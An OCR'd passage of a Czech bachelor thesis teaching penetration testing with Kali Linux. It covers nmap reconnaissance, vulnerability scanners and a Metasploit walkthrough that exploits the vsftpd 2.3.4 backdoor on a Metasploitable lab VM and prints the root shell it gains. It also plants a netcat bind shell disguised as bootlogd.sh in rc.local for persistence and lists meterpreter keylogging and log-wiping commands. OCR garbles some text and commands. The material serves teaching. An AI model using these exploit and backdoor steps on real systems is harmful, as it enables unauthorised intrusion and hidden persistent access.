pouziti muze dojit k zahlceni sité. V Kali je k nalezeni nastroj iptables — jakysi firewall, kde

Ize pomoci pravidel ptidavat omezeni tykajici se sitového provozu.

root@kali:~# iptables -I INPUT 1 -s 192.168.73.138 -j ACCEPT
root@kali:~# iptables -I OUTPUT 1 -d 192.168.73.138 -j ACCEPT
root@kali:~# nmap -sT -p 1-65535 192.168.73.138

root@kali:~# iptables -vnL

Chain INPUT (policy ACCEPT 1 packets, 73 bytes)
pkts bytes target protoptin out source destination
65638 2626K ACCEPT all -- * *  192.168.73.138  0.0.0.0/0

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target protoptin out source destination

Chain OUTPUT (policy ACCEPT 1 packets, 73 bytes)
pkts bytes target protoptin out source destination
65889 3953K ACCEPT all -- * *  0.0.0.0/0 192.168.73.138

V predchozim prikladu je ukazan vystup z iptables po skenovani SYN/ACK metodou, kdy
bylo provéieno vSech 65535 portl. Z vystupu je vidét, Ze byly vygenerovany téméi 4MB dat

a to pii skenovani jednoho pocitace.
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Objeveni aktivnich stroju

Pti objevovani aktivnich stroji se vyuziva ICMP echo pozadavku. Na tento typ zadosti
by mél hostitel odpovédét ICMP echo response paketem. Jedna se o takzvané ,,pingovani*
pocitace. Opét se da vyuzit nastroj nmap, kde je pomoci jednoduchého ptepina¢e mozné na-
volit vétsi mnozstvi hostitelti — urcity rozsah sité. Pro dalsi pouziti je vhodné vystup z nmapu

ulozit do textového souboru s pomoci piepinace 0G.

root@kali:~# nmap -sn -oG hostdiscovery.txt 192.168.73.0./24
root@kali:~# cat hostdiscovery.txt | grep Up | cut -d " " -f 2

Uréeni operacniho systému

Diky riznym implementacim sluzeb TCP na pfisluSnych operacnich systémech je
mozné odvodit typ operac¢niho systému. Drobné nuance se tykaji napiiklad parametrt TTL a
velikosti okna TCP. Nastroj nmap prohlédne odchozi a ptichozi sitovou komunikaci a na
zaklad¢ vlastnich znalosti se pokusi uré¢it dany opera¢ni systém. K tzv. otisku opera¢niho sys-

tému (OS fingerprint) slouzi pfepinac¢ O.

root@kali:~# nmap -0 192.168.73.138

Running: Linux 2.6.X
OS CPE: cpe:/o:1linux:1linux_kernel:2.6
0S details: Linux 2.6.9 - 2.6.33

Uréeni verze sluzby

Stejné tak jako je mozné urcit operacni systém na zakladé implantace jednotlivych

v v

vani verze probiha ziskdnim banneru a jeho prozkouméanim. Nmap ma pro tuto moznost pie-

pinac sV a ptepinac A.
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root@kali:~# nmap -sV 192.168.73.138

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntul (proto-
col 2.0)

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)

Vycet SMB

Server Message Block (SMB), znam také jako Common Internet File System (CIFS),
je sitovy komunikaéni protocol aplika¢ni vrstvy, ktery slouzi ke sdilenému pfistupu k soubo-
ram, tiskarnam, sériovym portim a dal$i komunikaci mezi uzly na siti[8]. Poskytuje také au-
tentiza¢ni mechanismus pro meziprocesovou komunikaci. Je vyuzivan hlavné na pocitacich s
opera¢nimi systémy rodiny Windows. Takto vypada seznam verzi SMB a jejich implementace
na jednotlivych systémech OS Windows:

SMB1 — Windows 2000, XP and Windows 2003
SMB2 — Windows Vista SP1 and Windows 2008
SMB2.1 — Windows 7 and Windows 2008 R2
SMB3 — Windows 8 and Windows 2012

Sluzba SMB NetBIOS nasloucha na TCP portech Cislo 139 a 445 a také na nékterych portech
UDP. Skenovani téchto porttli 1ze provést pomoci jiZ zmitiovaného nastroje nmap, piipadné

specializovanym nastrojem nbtscan, ktery se taktéz nachazi v Kali.

K ziskani informaci ze sluzby SMB, Ize pouzit nastroj enum4linunx.

Vycet SMTP

Jedna se o protokol pro pienos posty — poskytuje sluzby elektronické posty. PoStovni
server pracuje s urcitymi piikazy, které mohou v ptipad¢ nespravné konfigurace pomoci utoc-
nikovi. Jedna se o ptikazy VRFY a EXPN [9]. Pfikaz VRFY <emailova adresa> ovéfi exis-
tenci emailové adresy v databazi. Piikaz EXPN <emailova adresa> pozada o pridani emailoveé

adresy do seznamu.
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Vycet SNMP

vvvvvv

od normalniho stavu sit€ a nastavovani prahovych hodnot [7]. Jedna se o tzv. ,,bezsta-
vovy* protokol zalozeny na UDP. Existuji dvé verze protokolu. K monitorovani a fizeni zafi-
zeni slouzi nékolik piikazt. Jedna se o ptikazy read, write a trap. Piikaz read zjist'uje hod-
noty proménnych, udrzovanych ve spravovaném zafizeni. Pomoci piikazu write, Ize hodnoty
proménnych ménit a tim fidit dany systém. Ptikaz trap slouzi pro asynchronni oznamovani
chyb. Druha verze protokolu navic implementuje ptikazy getbulk, ktery slouzi k nacteni vét-
Siho mnozstvi dat z databaze a ptikaz inform, ktery slouzi k odeslani informaci z jednoho
systému do druhého.

K prozkoumani sluzby SNMP je v Kali nastroj snmpwalk. Pomoci snmpwalku lze zjistit

uzivatele systému, bézici procesy, nainstalovany software a oteviené porty.

root@kali:~# snmpwalk -c public -v1 192.168.73.133

4.2 Vyhodnoceni slabych mist

Ve druhém kroku penetracniho testovani je tteba vyhodnotit informace, které byly zis-
kany v kroku prvnim a ur€it dal$i postup. Existuje nékolik nastrojt, které dokazi provést ske-
novani cile a zobrazit jeho kritickd mista. Jedna se o nastroje OpenVAS, jiZ zminiovany nmap

a komer¢éni Nessus.

4.2.1 OpenVAS

OpenVAS neboli Open Vulnerability Assessment System je framework, ktery mutize

byt pouzit k urceni nachylnych mist systému.

Instalace

Nejprve je nutné vytvorit certifikat. Je tieba se presunout do slozky /usr/share/open-

vas/ a spustit skript openvas-mkcert na vytvoreni certifikatu.
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root@kali:~# cd /usr/share/openvas/
root@kali:/usr/share/openvas# openvas-mkcert

CA certificate life time in days [1460]:

Server certificate life time in days [365]: 1460
Your country (two letter code) [DE]:

Your state or province name [none]:

Your location (e.g. town) [Berlin]:

Your organization [OpenVAS Users United]:

Congratulations. Your server certificate was properly created.

Poté je tieba synchronizovat databazi skriptem openvas-nvt-sync.

root@kali:/usr/share/openvas# openvas-nvt-sync

Dale pak vygenerovat klientsky certifikat a zkompilovat databazi

root@kali:/usr/share/openvas# openvasmd --rebuild

root@kali:/usr/share/openvas# openvas-mkcert-client -n om

Pro spusténi OpenVAS skeneru slouzi piikaz openvassd.

root@kali:/usr/share/openvas# openvassd

Poté je tfeba obnovit databazi a vytvofit jeji zalohu.

root@kali:/usr/share/openvas# openvasmd -rebuild
root@kali:/usr/share/openvas# openvasmd --backup

Ptidat porty pro démona skeneru a manazera, a také pro webové rozhrani.

root@kali:~# openvassd -p 9393 -a 127.0.0.1
root@kali:~# openvasmd -p 9390 -a 127.0.0.1
root@kali:~# gsad --http-only --listen=127.0.0.1 -p 9392

V neposledni fad¢ je na misté zménit heslo.

password=noveheslo

root@kali:/usr/share/openvas# openvasmd --user=admin --new-

21




Poslednim krokem je nalogovani do webového rozhrani OpenVASu na adrese
http://127.0.0.1:9392.

Greenbone Security Assistant

Username [admin ]

Password [- ces .| ]

| Login |

Obrazek 9 PrihlaSovaci obrazovka programu OpenVAS. Zdroj: Daniel Bui'val

K usnadnéni spousténi OpenVAS a zdlohovani databaze je v Ptiloze €. 3 vytvoren skript.

Konfigurace a spusténi skeneru

Po nalogovéani do webového rozhrani OpenVASu je mozné pies zalozku Scan Ma-
nagement —> Tasks po kliknuti na ikonu modré hvézdicky ptidavat nové ukoly k provedeni.
Je mozné tak editovat jaké IP adresy potazmo stroje budou provéieny, vybirat porty a také
vybrat z nabidky ,,nachylnosti“ tedy tzv. feedi, na které budou doty¢né systémy provéieny.
Ukoly je mozné spravovat, vytvaiet rozvrhy a fronty. Po provedeni skenu je vygenerovan

report s vysledky.

4.2.2 Nmap

Nmap suite se da mimo jiné pouzit i pro detekci nachylnosti systému. Slozka

lusr/share/nmap/scripts/ obsahuje veskeré skripty uréené k hledani slabin systému.
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http://127.0.0.1:9392/

root@kali:/usr/share/nmap/scripts# 1ls -la | grep "vuln"

-rw-r--r-- 1 root 7075 Aug 23 2014 afp-path-vuln.nse
-rw-r--r-- 1 root root 6187 Aug 23 2014 ftp-vuln-cve2010-
4221 .nse

-rw-r--r-- 1 root root 7005 Aug 23 2014 http-huawei-hg5xx-
vuln.nse

Pro aktualni pfehled skriptii dostupnych v Nmapu je nutné aktualizovat databazi.

root@kali: ~# nmap --script-updatedb

4.2.3 Nessus

Komer¢ni nastroj Nessus vulnerability scanner od spolecnosti Tenable Network Secu-
rity je mozné bezplatné vyzkouset pod dobu sedmi dni. V piipadé placené verze, ktera stoji
piiblizné dva tisice dolarti ro¢né, jsou dostupné veskeré funkce aplikace. Nastroj se ovlada

podobnym zptsobem jako bezplatny OpenVAS.

Scans Policies

Scan Library

Scans > All Scanner

o N a- M n

Advanced Scan Audit Cloud Infrastructure Bash Shellshock Detection Basic Network Scan Credentialed Patch Audit

Obrazek 10 GUI programu Nessus. Zdroj: Daniel Bui'val

4.3 Vyuziti slabin

Faze vyuziti slabin, jak nazev napovida, spociva ve vyuziti nalezenych slabin daného
systému z jiz provedenych piedchozich krokd. V této fazi Kali nabizi k vyuziti jeden z nej-

mocnéjsich nastroji v této linuxové distribuci - Metasploit.

METASPLOIT

Metasploit je framework urceni k penetraénimu testovani. Obsahuje nespocet moduld.

Lze ho vyuzit skrze vSechny faze penetracniho testovani, avSak nejvétsi uplatnéni nalezne
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pravé ve fazi vyuziti slabin v systému. Obsahuje totiz databazi plnou exploitii (slabin). Pted

pouzitim metasploitu je tieba mit databazi zptistupnénou. Tedy:

root@kali: ~# service postgresql start

Stejné tak je potieba spustit sluzbu metasploitu. Pomoci:

root@kali: ~# service metasploit start

Metasploit je vybaven nékolika rozhranimi pies, které je mozné jej ovladat.

MSFConsole

Konzole metasploitu patii k oblibenym zptisobtim jak metasploit ovladat, zejména
diky automatickému doplnovani ptikazti a moznosti vyhledavani v databazi. Rozhrani se
svym ovladanim velice podobad jiz predstavenému programu Recon-ng. Hlavni ptikazy, které

konzole akceptuje, jsou help, search, show options, use, set, run a exploit.

root@kali: ~

File Edit View Search Terminal Help

msf =

root@kali: ~

Obrazek 11 Konzole metasploitu. Zdroj: Daniel Bui'val

MSFCLI

Jak uvadi [10], jedna se pfedevsim o rozhrani urcené k psani a testovani novych ex-

ploti. Taktéz se da vyuzit pfi psani skriptl. Neobsahuje Zddnou napovédu ani dopliiovani
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ptikazt. Pfikazem msfcli dojde k nacteni seznamu veskerych dostupnych modult. Ptiznak h

slouzi k zobrazeni napovédy. Syntaxe pro pouziti modulu je:

root@kali: ~# msfcli <cestaKModulu> <moznostl> <moznost2> ..

4.4 Navyseni prav

Po tspésném nalogovani do systému za vyuziti slabiny, ktera byla objevena pii pied-
chozich fazich, jsou ziskdna prava na urcité urovni. V této fazi je cilem zvysit ziskana prava
na co nejvyssi moznou uroven, nejlépe na uroven administratora. Nejcastéji je vyuzit néjaky
jiny proces, ¢i sluzba. Z prozkoumani jiz objevenych exploiti 1ze usoudit, Ze pro navyseni
prav se nejéastéji pouziva metoda zvana pieteCeni paméti. Spustit libovolny kod také nékdy
dovoluji $patné udélena prava na zapis do slozky, kde lze ptivodni spousténi soubor podvrh-

nout a nahradit ho vlastnim souborem s libovolnym kodem.

4.4.1 Teorie k prete€eni paméti

Jak uvadi [2] pamét’ programu je rozdélena na pét segmenti: kod, data, segment nei-
nicializovanych dat, halda a zasobnik. Segment kod se nékdy znaci i jako text. Je to misto kde
se nachazi instrukce strojového jazyka. V tomto segmentu je pravo zapisovat vypnuto, nebot’
slouzi k uchovani kodu. Jakykoliv pokus o zapis do tohoto segmentu paméti zpisobi zobrazeni
varovani uzivateli a okamzité ukonceni programu. Dalsi vyhodou toho, Ze je tento segment
pouze pro ¢teni, je umoznéni jeho bezproblémového sdileni pti spusténi vice kopii t€hoz pro-
gramu. Tento segment ma fixni velikost.

Segment data a segment neinicializovanych dat (také bss — block started by symbol)
se pouZzivaji pro uloZeni globalnich a statickych proménnych. V segmentu data se ukryvaji
inicializované globalni proménné. V segmentu bss jsou neinicializované proménné. Do téchto
segmentil 1ze zapisovat a maji fixni velikost.

Segment halda (heap) se pouziva pro ostatni programové promeénné. Segment haldy
nema konstantni velikost. Celé tato pamét’ je fizena aloka¢nimi a dealoka¢nimi algoritmy,
které rezervuji ¢ast paméti pro pozd¢€jsi pouziti a zpétné odstraiuji rezervace, aby se oblast
mohla pozdéji opét vyuzit. Rist haldy za¢ind na nizsich a postupuje do vysSich adres paméti.

Segment z4sobnik (stack) ma také proménou velikost a pouziva se jako doc¢asné tlo-
Zi8t& pro kontext béhem volani funkei. Zasobnik slouzi k zapamatovani proménnych funkce
a navratové hodnoty. Zasobnik ma razeni typu FILO (First-In-Last-Out), tedy prvni polozka,

ktera na zasobnik pftijde, je tou posledni, kterd bude ze zasobniku odebrana.
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Pretec¢eni paméti

PreteCeni paméti neboli buffer overflow se dale specifikuje podle toho, v jakém seg-
mentu paméti k pieteCeni dojde. Nejcastéjsim typem pieteCeni paméti je stack overflow, ne-
boli pfeteceni paméti v oblasti zasobniku. Pti¢inou byvaji vstupy neosetfenych funkci. Tako-
véto chyby v programech Ize odhalit prozkoumanim zdrojové kodu - pokud je k dispozici,
dale reverznim inzenyrstvim, pfipadné takzvanym fuzzingem. Fuzzing spoc¢iva v zasilani spe-
cifického typu dat a sledovani a chovéani programu.

K odhaleni chovani programti slouzi dissasemblery, jednim z dissasemblerti je Evans
Linux Debugger. Pro spusténi tzv. debugovani konkrétniho programu lze debuger spustit

S ptiznakem run a cestou k programu.

root@kali: ~# edb --run <cestakProgramu>

4.5 Zajisténi opétovného pristupu

Posledni fazi penetra¢niho testovani je zajisténi opetovného piistupu do systému - vy-
tvofeni takzvaného backdoor, tedy zadnich vratek. Posledni faze slouzi k vytvofeni perzis-
tentniho pfistupu k systému zejména kviili pfedpokladu, Ze chyba, diky které byl ziskan pii-
stup do systému, mtiize byt diive €1 pozdé€ji opravena a poté uz nebude mozné se stejnym
zpusobem do systému dostat. Jedna se tedy o vytvoteni programu, ktery bude naslouchat na
daném portu a bude piijimat uto¢nikovi piikazy. V Kali Ize opét pouZit metasploit. K doruceni
tzv. nakladu, tedy fadkt kodu, na cilovy pocita¢ (pro kod se pouziva oznaceni payload) je
vyuzivan meterpreter. Meterpreter umoziiuje stahovat a nahravat soubory a spoustét ptikazy

na napadeném pocita¢i. Pomoci jednoduchych piikazli je moZzné manipulovat s procesy.

meterpreter> kill [PID]

Zaznamenavat stisknuté klavesy

meterpreter> keyscan_start

Mazat logy.

meterpreter> clearav

vvvvvv
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5 Prakticka ukazka

Pro ucely penetra¢niho testovani byl tymem rapid7 vytvofen zamérné nachylny ope-

racni systém zalozeny na OS Linux jménem Metasploitable.

1. Faze — Sbér informaci

Nejprve je zapotiebi zjistit IP adresu testovaného pocitace. Pokud mame pitimy ptistup
k Metasploitable, pak se sta¢i nalogovat s ptihlaSsovacimi udaji msfadmin a heslem msfadmin
a zadat ptikaz ifconfig. Redln¢ hacker pfistup k pocitaci nema, tudiz by nejdiiv musel provéftit

rozsah IP adres na odezvu. Naptiklad pomoci nastroje nmap takto:

root@kali:~# nmap -v -sn 192.168.73.0/24

Nmap scan report for 192.168.73.0 [host down]
Nmap scan report for 192.168.73.1 [host down]
Nmap scan report for 192.168.73.2 [host down]

Nmap scan report for 192.168.73.255 [host down]

Vystupem toho pfikazu je seznam IP adres a indikator, zda se dostalo odezvy z IP adresy nebo
nikoliv. VétSina adres v daném segmentu bude oznacena jako [host down], tedy zadny pocita¢
s danou IP adresou neodpovédél. Pro snadnéjsi hledani 1ze vystup upravit pomoci nastroje
grep.

root@kali:~# nmap -v -sn 192.168.73.0/24 | grep -v "host down"

Vysledkem bude vypis vSech pocitaci, které na ping scan odpovedély.

Nyni, je tfeba urcit béZici sluzby na daném stroji.

root@kali:~# nmap -sT -sV -p 1-65535 192.168.73.138

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (proto-
col 2.0)

Vysledkem je seznam portil, jejich status, bézici sluzby a verze sluzby. Pro test veskerych

pocitact na zadaném sitovém segmentu lze pouzit bash skript uvedeny v Ptiloze ¢. 4
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2. Faze — Vyhodnoceni slabych mist

Ve druhé fazi l1ze k jednotlivym verzim sluzeb manualné vyhledat slabiny, piipadné
pouzit nastroj jakym je OpenVAS, nebo Nessus. K vyhledani chyb manualné |ze pouzit jiz
zminovanou databazi na strance www.exploit-db.com/, piipadn¢ databazi ze stranek cvede-
tails.com. CVE je zkratka pro anglické Common Vulnerabilities and Exposures, tedy bézné
nachylnosti. Pro pozdé&jsi pouziti exploita je pomérné dtlezité CVE ID, tedy identifikator na-

chylnosti, ktery nam usnadni vyhledavani ptislusného exploitu v ostatnich nastrojich.

Date D A V Description Author

2011-07-05 & -

Obriazek 12 Google hacking database. Zdroj: Daniel Bui'val

Naéstroj Nessus umoziiuje generovat rozsahlé reporty s nalezenymi chybami.

UnreallRCd Backdoor Detestion Backdoors 1
Vulnerabilities
Unsupported Unix Operating System General 1
@ critcal
High
VNC Server 'password' Password Gain a shell remotely 1 Medium
® Low
@ Inio
vsitpd Smiley Face Backdoor FTP 1 .
Microsoft Windows SMB Shares Unprivileged Access Windows 1

Obriazek 13 Cast reportu z programu Nessus. Zdroj: Daniel Buival

3. Faze — VyuZiti slabin

Ve fazi vyuziti slabin, miizeme pouzit pfedstaveny nastroj Metasploit. Nejprve je tieba

spustit databazi:

root@kali:~# service postgresql start

A spustit démona metasploitu:

root@kali:~# service metasploit start

Poté mizeme spustit konzoli metasploitu:

root@kali:~# msfconsole

Pokud se podati vyhledat identifika¢ni ¢islo nachylnosti (CVE ID), Ize jej pfi hledani pouzit.

Ptipadné 1ze vyhledavat i podle nazvu sluzby.
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msf> search vsftpd
Matching Modules

Name Disclosure Date Rank
Description
exploit/unix/ftp/vsftpd 234 backdoor 2011-07-03 excell-

ent VSFTPD v2.3.4 Backdoor Command Execution

Pouziti nalezeného modulu:

msf>use exploit/unix/ftp/vsftpd_234_ backdoor

Zobrazeni moznych payloadi:

msf exploit(vsftpd 234 backdoor) >show payloads
Compatible Payloads

Name Disclosure Date Rank Description

cmd/unix/interact normal Unix Command, In-
teract with Established Connection

Pouziti payloadu:

msf exploit(vsftpd_234 backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
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Zobrazeni moznosti nastaveni exploitu:

msf exploit(vsftpd_234 backdoor) > show options
Module options (exploit/unix/ftp/vsftpd 234 backdoor):

Name  Current Setting Required Description

RHOST yes The target address
RPORT 21 yes The target port
Payload options (cmd/unix/interact):
Name Current Setting Required Description
Exploit target:
Id Name

0 Automatic

Nastaveni potfebnych udajii — v tomto piipad¢ vzdaleného hostitele:

msf exploit(vsftpd 234 backdoor) > set RHOST 192.168.73.138
RHOST => 192.168.73.138

A spusténi exploitu:

msf exploit(vsftpd 234 backdoor) > exploit

[*] The port used by the backdoor bind listener is already open
[+] UID: uid=@(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.73.140:59853 ->
192.168.73.138:6200) at 2015-03-26 06:22:15 -0400

Pomoci tohoto exploitu byla ziskdna prava administratora - root.

whoami
root

4-5. Faze - NavysSeni prav a zajisténi opetovného pristupu

NavySovat prava neni tieba, nebot’ byla ziskana prava uzivatele root. Vzhledem K piitomnosti
programovacich jazykt je mozné vytvofit naslouchac (listener) v libovolném jazyce a zajistit

jeho spusténi pfi startu systému, piipadné 1ze vyuzit jiz nainstalovanych néstroji k vytvoieni
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bash skriptu, ktery utilitu vyuzije. Nabizi se napfiklad program netcat, ktery je pfitomen ve
vétsing linuxovych distribucich. Jak uvadi [11], programu netcat se ptezdiva Svycarsky ar-
madni nliz mezi sitovymi nastroji. Skripty, které se spousti pii startu systému se nachazi v
souboru rc.local ve slozce etc. Pomoci programu vi, ktery se defaultné nachazi na vSech dis-
tribucich linuxu, Ize editovat soubor a pridat tak skript, jez zajisti spusténi programu netcat

pii kazdém startu systému. Nejprve je tieba vytvotit shell skript a nékde ho ulozit.

vi /etc/init.d/bootlogd.sh

Télo skriptu bootlogd.sh

#1/bin/sh
nc -nvlp 4444 -e /bin/bash

Do souboru /etc/rc.local piidat cestu ke skriptu a spustit na pozadi:

/etc/init.d/bootlogd.sh &

Pfikazem netsat Ize po ,,nabootovani* zobrazit otevieny tcp port 4444,

netstat -tul | grep 4444
tcp 0 0*4444 ** LISTEN

Takto byla ziskana zadni vratka do kompromitovaného systému.

Report

Soucasti penetracniho testu by méla byt souhrnna zprava - report. Report by mél byt
pfedevsim srozumitelny. V potaz musime brat skutecnost, Ze vétsinou budou vysledky auditu
prezentovany obecenstvu, které ma zakladni zkuSenosti v oblasti IT. Velmi mohou pomoci
praktické ukazky. Tzn. predvést, jakym zplsobem a jak rychle 1ze systém kompromitovat.

V Kali se k témto G¢elim nachazi nastroje KeepNote a modelovaci nastroj Maltego.
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PenTest: Sken Lokalni site

File Edit Search Format View Go Tools Window Help

~ 5 PenTest Title Created time Modified time
91 Faze B Sken Lokalni site 08:25 AM 08:31 AM
- [ Sken adresy 192,168,
[ 2 Faze
» [ 3 Faze
b [ 4-5 Faze
“b @ Trash ]
nmap -v -sn 192.168.73.0/24 | grep -v "host down"
Starting Nmap 6.47 ( httg:ffnmag.gm) at 2015-03-25 08:30 ECT
Initiating ARP Ping Scan at 08:30
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 08:30, 1.98s elapsed (255 total hosts)
Initiating Parallel DS resclution of 255 hosts. at 08:30
Completed Parallel DMS resolution of 255 hosts. at 08:30, 0.06s elapsed
Nmap scan report for 192.168.73.2
Host is up (0.00026s latency).
MAC Address: 00:50:56:E8:C9:A9 (WMware)
Nmap scan report for 192,168.73.138
Host is up (0.00026s latency).
MAC Address: 00:0C:29:19:F8:04 (WVMware)
Nmap scan report for 192,168.73.254
Host is up (0.00015s latency).
MAC Address: 00:50:56:F4:F0:A4 (WMware)
Initiating Parallel DMS resolution of 1 host. at 08:30
a | [>] | Completed Parallel DMS resolution of 1 host. at 08:30, 0.02s elapsed
Notebook saved 0 pages

Obrazek 14 KeepNote a reportovani. Zdroj: Daniel Buival
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Obrazek 15 Maltego a reportovani. Zdroj: Daniel Buival
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6 Shrnuti vysledku

Cilem prace bylo piedstavit operacni systém Kali Linux, ukézat jeho vyuziti pfi bez-
pecnostnim auditu a piedstavit nastroje obsazené Vv distribuci.

V uvodu bakalatské prace je zminéno, jak Kali Linux nainstalovat a jaké jeho verze
jsou momentalné dostupné. Nadneseno bylo také to, ze se nejedna o operacni systém pouze
pro notebooky, ¢i stolni pocitace, ale i pro ARM zafizeni. V uvodu také probéhlo kratké se-
znameni s grafickym uzivatelskym rozhranim Kali.

V préci se déle fesi téma pocitacové bezpecnosti. Toto téma se tykéd predev§im nej-
slabsiho ¢lanku v bezpecnostnim fetézci, kterym je Clovek. At uz se jedna o slabé hesla, Spatné
nakonfigurované piistupové body do sité, ¢i obecna neznalost v oblasti bezpecnosti, tykajici
se naptiklad elektronické posty a otevirani neznamych soubort v piiloze.

StéZejni Cast bakalaiské prace se zabyva penetracnim testovanim. Predstaveno je
vSech pét fazi penetracniho testovani. Jednotlivé faze jsou vzdy popsany a jsou k nim uvedeny
i pouzitelné nastroje obsazené v Kali Linux. V zavéru prace je pak provedena prakticka
ukazka penetracniho testu na virtudlnim stroji s operacnim systému Metasploitable. V pfilo-
hach jsou pak ptidany skripty, které slouzi k automatizaci a usnadnéni nékterych tkoni, pti

provadeéni testd.
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7 Zavéry a doporuceni

Bezpecénost bude vzdy nedilnou soucasti nejen IT odvétvi. Se skute¢nosti, Ze jsou vy-
nalézany stale novéjsi a novéjsi informacni technologie, se nutné musi vyvijet i jejich zabez-
peceni. Stejné tak, zde budou existovat i lidé, ktefi se budou zdmérné nabouravat do nezabez-
pecenych systémil. Nékteti za ucelem poskodit vlastnika systému - at’ uz se jedna o ziskéani
konkurenéni vyhody, finan¢niho zisku ¢i z politickych divodu a jini, ktefi se budou snazit
systémy chranit a zvySovat jejich bezpecnost.

Neexistuje zaruceny navod jak pocitatové systémy dokonale ochranit, nicméné exis-
tuje fada pravidel a postupu, které pomahaji minimalizovat rizika ohroZeni systému. Z hle-
diska implementace zabezpeceni systému plati pravidlo, kdy chceme docilit takového stavu,
aby usili, riziko odhaleni a finan¢ni prostfedky potiebné na naruseni bezpecnostniho systému
byly adekvatni v porovnani s hodnotou, ktera je bezpe¢nostnim systémem chranéna. Zabez-
peceni pocitacovych systému neni ,,jednorazovou® ¢innosti, ale jedna se o neustaly proces,

ktery bude tieba neustale ménit, upravovat, ptizptisobovat a vylepsovat.
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Priloha ¢. 1

10 Pfilohy

Prvni ptikazy slouzi k aktualizaci balicku a jadra. Zbylé tadky provadi zménu adresate, sta-
zeni databaze ze stranek exploit-db.com, jeji extrahovani a posledni ptikaz vymazani staze-

ného zabaleného archivu.

#!/bin/bash

#updating Kali
apt-get update && apt-get upgrade -y && apt-get distupgrade -y

#updateing DB

cd /usr/share/exploitdb

wget http://www.exploit-db.com/archive.tar.bz2
tar -xvjf archive.tar.bz2

rm archive.tar.bz2
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Pfiloha ¢. 2

Jedna se o skript ur€eny k vyhledani jmennych serverti dané domény a pokusu o pienos zoény
na kazdém z nalezenych serverti. Obsahuje funkci usage, ktera tikd, jakym zptsobem se skript
pouziva, kontroluje pocet zadanych argumentt skriptu a dale se pokousi o pienos zény ke

kazdému nalezenému jmennému serveru.

#/bin/bash

function usage(){

echo "[*] Zone transfer script”
echo "[*] Usage: $0 <domain name>
echo "[*] Example: $0 domain.com"

exit o

}

if [ "$#" -ne 1 ]; then

usage;

else

echo "[*] Attempt to zone transfer"
for server in $(host -t ns $1 | cut -d " " -f 4);do
host -1 $1 $server |grep "has address"
done;

echo "[*] Finished";

fi
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Pfiloha ¢. 3

Skript je potieba spustit pied kazdym startem OpenV ASu. Dochazi k aktualizovani databaze,
spusténi démona skeneru, zkompilovani databaze, zalohovani databaze, spusténi manazera na

portu 9390, spusténi skeneru na portu 9393 a spusténi aplikace na portu 9392

#!/bin/bash

#0penVAS updates

openvas-nvt-sync

openvassd

openvasmd --rebuild

openvasmd --backup

openvasmd -p 9390 -a 127.0.0.1

openvassd -p 9393 -a 127.0.0.1

gsad --http-only --listen=127.0.0.1 -p 9392
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Priloha ¢. 4

Skript slouzi ke skenovani lokalni sité. Pro kazdy nalezeny aktivni stroj je pak proveden sken

pro oteviené porty.

#!/bin/bash

function usage(){

echo "[*] LAN full scan script"

echo "[*] Usage: $0 <my ip Address>"
echo "[*] Example: $0 192.168.1.12"

exit o

}

if [ "$#" -ne 1 ]; then

usage;

else

startofIP=$(echo $1 | cut -d "." -f 1,2,3)
echo "$startOfIP.9/24" > range.txt

for host in $(nmap -sn -il range.txt | grep "report for" | cut -d
" -f 5);

do

nmap -sT -sV -p 1-65535 $host;

done;

rm range.txt
echo "[*] Finished"
fi
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